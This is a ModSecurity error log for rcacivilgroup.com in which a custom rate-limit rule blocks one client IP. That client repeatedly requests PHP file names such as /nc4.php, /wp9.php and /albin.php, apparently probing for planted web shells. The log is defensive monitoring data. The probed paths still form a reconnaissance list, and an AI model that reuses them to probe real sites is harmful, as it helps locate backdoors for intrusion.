[Sun Mar 22 20:24:09.876715 2026] [:error] [pid 51468:tid 51497] [client 172.213.208.27:8910] [client 172.213.208.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/nc4.php"] [unique_id "ab_faU2TppSvA8W5CBRU7wAAANU"]
[Sun Mar 22 20:24:10.604443 2026] [:error] [pid 51362:tid 51419] [client 172.213.208.27:19422] [client 172.213.208.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp9.php"] [unique_id "ab_fasOwPm3DXzTDjUfBrQAAAFI"]
[Sun Mar 22 20:24:11.207070 2026] [:error] [pid 51363:tid 51449] [client 172.213.208.27:1334] [client 172.213.208.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp9.php"] [unique_id "ab_fa1wa9x6OCTRkhl26SQAAAJM"]
[Sun Mar 22 20:24:12.087489 2026] [:error] [pid 40039:tid 40041] [client 172.213.208.27:7366] [client 172.213.208.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp9.php"] [unique_id "ab_fbB3aDgUJfBYishm1twAAAQA"]
[Sun Mar 22 20:24:12.969078 2026] [:error] [pid 51468:tid 51483] [client 172.213.208.27:22469] [client 172.213.208.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp9.php"] [unique_id "ab_fbE2TppSvA8W5CBRU9wAAAMc"]
[Sun Mar 22 20:24:13.957719 2026] [:error] [pid 51363:tid 51431] [client 172.213.208.27:1290] [client 172.213.208.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/images/acxx.php"] [unique_id "ab_fbVwa9x6OCTRkhl26TQAAAIM"]
[Sun Mar 22 20:24:14.547310 2026] [:error] [pid 51361:tid 51393] [client 172.213.208.27:8925] [client 172.213.208.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/images/acxx.php"] [unique_id "ab_fbhXYUsdvKC9YWpXhjAAAABU"]
[Sun Mar 22 20:24:15.192430 2026] [:error] [pid 30166:tid 30171] [client 172.213.208.27:15607] [client 172.213.208.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/images/acxx.php"] [unique_id "ab_fb7m4_26jKMD0zy3s2QAAAUE"]
[Sun Mar 22 20:24:15.818545 2026] [:error] [pid 30166:tid 30196] [client 172.213.208.27:8952] [client 172.213.208.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/images/acxx.php"] [unique_id "ab_fb7m4_26jKMD0zy3s3QAAAVM"]
[Sun Mar 22 20:24:16.447710 2026] [:error] [pid 30166:tid 30173] [client 172.213.208.27:7553] [client 172.213.208.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/fs.php"] [unique_id "ab_fcLm4_26jKMD0zy3s4QAAAUI"]
[Sun Mar 22 20:24:31.304458 2026] [:error] [pid 30166:tid 30186] [client 172.213.208.27:1078] [client 172.213.208.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/domains.php"] [unique_id "ab_ff7m4_26jKMD0zy3tJQAAAUs"]
[Sun Mar 22 20:24:31.846997 2026] [:error] [pid 51468:tid 51483] [client 172.213.208.27:8052] [client 172.213.208.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/domains.php"] [unique_id "ab_ff02TppSvA8W5CBRVBAAAAMc"]
[Sun Mar 22 20:24:32.337202 2026] [:error] [pid 51363:tid 51438] [client 172.213.208.27:15586] [client 172.213.208.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/domains.php"] [unique_id "ab_fgFwa9x6OCTRkhl26TgAAAIk"]
[Sun Mar 22 20:24:32.885636 2026] [:error] [pid 51363:tid 51451] [client 172.213.208.27:8305] [client 172.213.208.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/domains.php"] [unique_id "ab_fgFwa9x6OCTRkhl26UQAAAJU"]
[Sun Mar 22 20:24:33.553381 2026] [:error] [pid 51362:tid 51412] [client 172.213.208.27:11391] [client 172.213.208.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/asd.php"] [unique_id "ab_fgcOwPm3DXzTDjUfBvwAAAEs"]
[Sun Mar 22 20:24:34.112024 2026] [:error] [pid 51361:tid 51377] [client 172.213.208.27:14009] [client 172.213.208.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/asd.php"] [unique_id "ab_fghXYUsdvKC9YWpXhngAAAAY"]
[Sun Mar 22 20:24:34.727391 2026] [:error] [pid 30166:tid 30173] [client 172.213.208.27:18298] [client 172.213.208.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/asd.php"] [unique_id "ab_fgrm4_26jKMD0zy3tKAAAAUI"]
[Sun Mar 22 20:24:35.303559 2026] [:error] [pid 40039:tid 40047] [client 172.213.208.27:1341] [client 172.213.208.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/asd.php"] [unique_id "ab_fgx3aDgUJfBYishm11wAAAQY"]
[Sun Mar 22 20:24:35.928524 2026] [:error] [pid 51361:tid 51379] [client 172.213.208.27:11369] [client 172.213.208.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/zc-104.php"] [unique_id "ab_fgxXYUsdvKC9YWpXhqgAAAAg"]
[Sun Mar 22 20:24:36.536590 2026] [:error] [pid 51362:tid 51408] [client 172.213.208.27:24815] [client 172.213.208.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/zc-104.php"] [unique_id "ab_fhMOwPm3DXzTDjUfBwwAAAEc"]
[Sun Mar 22 20:24:37.098404 2026] [:error] [pid 30166:tid 30196] [client 172.213.208.27:7876] [client 172.213.208.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/zc-104.php"] [unique_id "ab_fhbm4_26jKMD0zy3tLgAAAVM"]
[Sun Mar 22 20:24:37.816073 2026] [:error] [pid 30166:tid 30176] [client 172.213.208.27:8306] [client 172.213.208.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/zc-104.php"] [unique_id "ab_fhbm4_26jKMD0zy3tLwAAAUU"]
[Sun Mar 22 20:24:38.427887 2026] [:error] [pid 30166:tid 30185] [client 172.213.208.27:10493] [client 172.213.208.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/rzki.php"] [unique_id "ab_fhrm4_26jKMD0zy3tMQAAAUo"]
[Sun Mar 22 20:24:38.958812 2026] [:error] [pid 51363:tid 51437] [client 172.213.208.27:20956] [client 172.213.208.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/rzki.php"] [unique_id "ab_fhlwa9x6OCTRkhl26VQAAAIg"]
[Sun Mar 22 20:24:39.521810 2026] [:error] [pid 30166:tid 30170] [client 172.213.208.27:20951] [client 172.213.208.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/rzki.php"] [unique_id "ab_fh7m4_26jKMD0zy3tMwAAAUA"]
[Sun Mar 22 20:24:40.134249 2026] [:error] [pid 51362:tid 51404] [client 172.213.208.27:13999] [client 172.213.208.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/rzki.php"] [unique_id "ab_fiMOwPm3DXzTDjUfB0QAAAEM"]
[Sun Mar 22 20:24:40.789246 2026] [:error] [pid 51468:tid 51497] [client 172.213.208.27:24806] [client 172.213.208.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xsas.php"] [unique_id "ab_fiE2TppSvA8W5CBRVDQAAANU"]
[Sun Mar 22 20:24:41.650374 2026] [:error] [pid 51362:tid 51425] [client 172.213.208.27:30937] [client 172.213.208.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xsas.php"] [unique_id "ab_ficOwPm3DXzTDjUfB1gAAAFg"]
[Sun Mar 22 20:24:42.392486 2026] [:error] [pid 30166:tid 30187] [client 172.213.208.27:24722] [client 172.213.208.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xsas.php"] [unique_id "ab_firm4_26jKMD0zy3tOQAAAUw"]
[Sun Mar 22 20:24:43.129279 2026] [:error] [pid 51362:tid 51400] [client 172.213.208.27:24755] [client 172.213.208.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xsas.php"] [unique_id "ab_fi8OwPm3DXzTDjUfB3wAAAEA"]
[Sun Mar 22 20:24:43.729394 2026] [:error] [pid 40039:tid 40051] [client 172.213.208.27:22514] [client 172.213.208.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/d12.php"] [unique_id "ab_fix3aDgUJfBYishm14AAAAQo"]
[Sun Mar 22 20:24:44.406135 2026] [:error] [pid 30166:tid 30186] [client 172.213.208.27:11365] [client 172.213.208.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/d12.php"] [unique_id "ab_fjLm4_26jKMD0zy3tPwAAAUs"]
[Sun Mar 22 20:24:45.085624 2026] [:error] [pid 30166:tid 30171] [client 172.213.208.27:8997] [client 172.213.208.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/d12.php"] [unique_id "ab_fjbm4_26jKMD0zy3tRAAAAUE"]
[Sun Mar 22 20:25:22.531536 2026] [:error] [pid 51468:tid 51478] [client 172.213.208.27:12920] [client 172.213.208.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/okxh.php"] [unique_id "ab_fsk2TppSvA8W5CBRVKgAAAMI"]
[Sun Mar 22 20:25:23.212370 2026] [:error] [pid 51362:tid 51413] [client 172.213.208.27:24788] [client 172.213.208.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/okxh.php"] [unique_id "ab_fs8OwPm3DXzTDjUfCFwAAAEw"]
[Sun Mar 22 20:25:23.753504 2026] [:error] [pid 51361:tid 51371] [client 172.213.208.27:29342] [client 172.213.208.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/okxh.php"] [unique_id "ab_fsxXYUsdvKC9YWpXiEQAAAAA"]
[Sun Mar 22 20:25:24.267186 2026] [:error] [pid 51468:tid 51476] [client 172.213.208.27:9008] [client 172.213.208.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/okxh.php"] [unique_id "ab_ftE2TppSvA8W5CBRVLAAAAMA"]
[Sun Mar 22 20:25:25.046991 2026] [:error] [pid 51468:tid 51500] [client 172.213.208.27:25205] [client 172.213.208.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/55b76.php"] [unique_id "ab_ftU2TppSvA8W5CBRVLQAAANg"]
[Sun Mar 22 20:25:25.696061 2026] [:error] [pid 40039:tid 40061] [client 172.213.208.27:20989] [client 172.213.208.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/55b76.php"] [unique_id "ab_ftR3aDgUJfBYishm1_wAAARQ"]
[Sun Mar 22 20:25:26.318577 2026] [:error] [pid 51363:tid 51449] [client 172.213.208.27:9171] [client 172.213.208.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/55b76.php"] [unique_id "ab_ftlwa9x6OCTRkhl26dQAAAJM"]
[Sun Mar 22 20:25:26.882362 2026] [:error] [pid 51361:tid 51379] [client 172.213.208.27:9199] [client 172.213.208.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/55b76.php"] [unique_id "ab_fthXYUsdvKC9YWpXiGgAAAAg"]
[Sun Mar 22 20:25:27.596268 2026] [:error] [pid 51468:tid 51498] [client 172.213.208.27:7887] [client 172.213.208.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/tt.php"] [unique_id "ab_ft02TppSvA8W5CBRVMAAAANY"]
[Sun Mar 22 20:25:28.236803 2026] [:error] [pid 30166:tid 30176] [client 172.213.208.27:11336] [client 172.213.208.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/tt.php"] [unique_id "ab_fuLm4_26jKMD0zy3twwAAAUU"]
[Sun Mar 22 20:25:29.149684 2026] [:error] [pid 40039:tid 40045] [client 172.213.208.27:29344] [client 172.213.208.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/tt.php"] [unique_id "ab_fuR3aDgUJfBYishm2AgAAAQQ"]
[Sun Mar 22 20:25:45.888407 2026] [:error] [pid 51361:tid 51385] [client 172.213.208.27:30860] [client 172.213.208.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/sid3.php"] [unique_id "ab_fyRXYUsdvKC9YWpXiSgAAAA4"]
[Sun Mar 22 20:25:47.661280 2026] [:error] [pid 40039:tid 40064] [client 172.213.208.27:29341] [client 172.213.208.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/sid3.php"] [unique_id "ab_fyx3aDgUJfBYishm2DwAAARc"]
[Sun Mar 22 20:25:48.491202 2026] [:error] [pid 40039:tid 40047] [client 172.213.208.27:10614] [client 172.213.208.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/sid3.php"] [unique_id "ab_fzB3aDgUJfBYishm2EgAAAQY"]
[Sun Mar 22 20:25:49.629856 2026] [:error] [pid 40039:tid 40044] [client 172.213.208.27:11136] [client 172.213.208.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/sid3.php"] [unique_id "ab_fzR3aDgUJfBYishm2FgAAAQM"]
[Sun Mar 22 20:25:50.891092 2026] [:error] [pid 51468:tid 51496] [client 172.213.208.27:10785] [client 172.213.208.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/pas2.php"] [unique_id "ab_fzk2TppSvA8W5CBRVXAAAANQ"]
[Sun Mar 22 20:25:52.182481 2026] [:error] [pid 51468:tid 51483] [client 172.213.208.27:20533] [client 172.213.208.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/pas2.php"] [unique_id "ab_f0E2TppSvA8W5CBRVYQAAAMc"]
[Sun Mar 22 20:25:52.915313 2026] [:error] [pid 30166:tid 30176] [client 172.213.208.27:43956] [client 172.213.208.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/pas2.php"] [unique_id "ab_f0Lm4_26jKMD0zy3t4AAAAUU"]
[Sun Mar 22 20:25:53.686044 2026] [:error] [pid 51468:tid 51479] [client 172.213.208.27:1408] [client 172.213.208.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/pas2.php"] [unique_id "ab_f0U2TppSvA8W5CBRVaAAAAMM"]
[Sun Mar 22 20:25:54.680829 2026] [:error] [pid 51361:tid 51382] [client 172.213.208.27:22804] [client 172.213.208.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/albin.php"] [unique_id "ab_f0hXYUsdvKC9YWpXiVgAAAAs"]
[Sun Mar 22 20:25:55.565665 2026] [:error] [pid 51362:tid 51405] [client 172.213.208.27:1444] [client 172.213.208.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/albin.php"] [unique_id "ab_f08OwPm3DXzTDjUfCMAAAAEQ"]
[Sun Mar 22 20:25:56.280576 2026] [:error] [pid 30166:tid 30185] [client 172.213.208.27:39454] [client 172.213.208.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/albin.php"] [unique_id "ab_f1Lm4_26jKMD0zy3t4wAAAUo"]
[Sun Mar 22 20:25:57.018994 2026] [:error] [pid 51362:tid 51413] [client 172.213.208.27:25166] [client 172.213.208.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/albin.php"] [unique_id "ab_f1cOwPm3DXzTDjUfCNQAAAEw"]
